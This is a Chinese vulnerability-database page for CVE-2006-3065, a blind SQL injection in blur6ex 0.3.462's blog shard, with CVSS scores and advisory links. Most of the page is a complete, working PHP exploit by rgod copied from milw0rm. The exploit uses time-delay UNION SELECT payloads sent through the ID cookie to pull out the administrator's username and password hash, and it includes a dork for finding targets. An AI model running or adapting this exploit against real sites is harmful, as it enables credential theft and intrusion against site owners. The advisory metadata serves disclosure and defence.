CVE-2006-3065
CVSS7.5
发布时间 :2006-06-19 06:02:00
修订时间 :2011-03-07 21:37:33
NMCOE    

[原文]SQL injection vulnerability in engine/shards/blog.php in blur6ex 0.3.462 allows remote attackers to execute arbitrary SQL commands via the ID parameter in a proc_reply action in the blog shard. NOTE: This is a similar vulnerability to CVE-2006-1763, but the affected code and versions are different.


[CNNVD]blur6ex blog.php SQL注入漏洞(CNNVD-200606-369)

        blur6ex 0.3.462中的engine/shards/blog.php存在SQL注入漏洞。远程攻击者可以借助博客shard中的proc_reply操作中的ID参数,执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3065
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3065
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200606-369
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/2341
(UNKNOWN)  VUPEN  ADV-2006-2341
http://www.securityfocus.com/archive/1/archive/1/437015/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060612 blur6ex <= 0.3.462 'ID' blind sql injection
http://secunia.com/advisories/20646
(VENDOR_ADVISORY)  SECUNIA  20646
http://xforce.iss.net/xforce/xfdb/27120
(UNKNOWN)  XF  blur6ex-blog-id-sql-injection(27120)
http://securityreason.com/securityalert/1113
(UNKNOWN)  SREASON  1113
http://milw0rm.com/exploits/1904
(UNKNOWN)  MILW0RM  1904

- 漏洞信息

blur6ex blog.php SQL注入漏洞
高危 SQL注入
2006-06-19 00:00:00 2006-06-19 00:00:00
远程  
        blur6ex 0.3.462中的engine/shards/blog.php存在SQL注入漏洞。远程攻击者可以借助博客shard中的proc_reply操作中的ID参数,执行任意SQL命令。

- 公告与补丁

        暂无数据

- 漏洞信息 (1904)

blur6ex <= 0.3.462 (ID) Admin Disclosure / Blind SQL Injection Exploit (EDBID:1904)
php webapps
2006-06-12 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "blur6ex <= 0.3.462 'ID' blind SQL injection / admin credentials disclosure\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "dork: \"powered by blur6ex\"\r\n\r\n";
/*
works regardless of php.ini settings
*/

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to blur6ex\r\n";
echo "Options:\r\n";
echo "   -T[prefix]   specify a table prefix different from default (no prefix)\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /blur6ex/ \r\n";
echo "php ".$argv[0]." localhost /blur6ex/ -Tblur6ex_\r\n";
die;
}

/*
software site: http://www.blursoft.com/blur6ex/

vulnerable code in engine/shards/blog.php near lines 497-500:

...
case "proc_reply":
    // In order to set the permissions of the reply it's necessary to know what the parent is
    $permissionid = mysql_query("SELECT permission FROM blog WHERE ID=" . $_REQUEST['ID']);
...

'ID' argument in not sanitized before to be used in a sql query,
injection is blind...

this code shows how to use time delays through Mysql benchmark() function,
u can use this technique to ask questions of the target system
and retrieve data from tables

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function my_encode($my_string)
{
  $encoded="CHAR(";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
  }
  return $encoded;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="";
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$admin="";
$j=1;
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
  $starttime=time();
  echo "starttime -> ".$starttime."\r\n";
  $sql="99999 UNION SELECT IF((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."permissiongroups WHERE PGroup=CHAR(97,100,109,105,110)";
  $sql=str_replace(" ","/**/",$sql);
  $sql=urlencode($sql);
  $packet ="GET ".$p."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: ID=".$sql.";\r\n"; //through cookies, log this
  $packet.="Connection: Close\r\n\r\n";
  echo quick_dump($packet)."\r\n";
  sendpacketii($packet);
  $endtime=time();
  echo "endtime -> ".$endtime."\r\n";
  $difftime=$endtime - $starttime;
  echo "difftime -> ".$difftime."\r\n";
  if ($difftime > 5) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}
  if (($i==255) | (eregi("doesn't exist",$html))) {
  //debug
  echo $html."\r\n";
  die("Exploit failed...maybe wrong table prefix");
  }
}
$j++;
}
$admin=str_replace(chr(0),"",$admin);
echo "admin -> ".$admin."\r\n";

$password="";
$j=1;
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
  $starttime=time();
  echo "starttime -> ".$starttime."\r\n";
  $sql="99999 UNION SELECT IF((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."users WHERE username=".my_encode($admin);
  $sql=str_replace(" ","/**/",$sql);
  $sql=urlencode($sql);
  $packet ="GET ".$p."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: ID=".$sql.";\r\n";
  $packet.="Connection: Close\r\n\r\n";
  echo quick_dump($packet)."\r\n";
  sendpacketii($packet);
  $endtime=time();
  echo "endtime -> ".$endtime."\r\n";
  $difftime=$endtime - $starttime;
  echo "difftime -> ".$difftime."\r\n";
  if ($difftime > 5) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
  if ($i==255) {die("Exploit failed...we have an admin user in 'permissiongroups' table, but for some reason there is not a '".$admin."' user in 'users' one...");}
}
$j++;
}
//if you are here...
echo "Exploit succeeded...\r\n";
echo "--------------------------------------------------------------------\r\n";
echo "admin          -> ".$admin."\r\n";
echo "password (sha1)-> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";
?>

# milw0rm.com [2006-06-12]
		

- 漏洞信息

26495
blur6ex blog.php ID Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-06-12 Unknow
2006-06-12 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站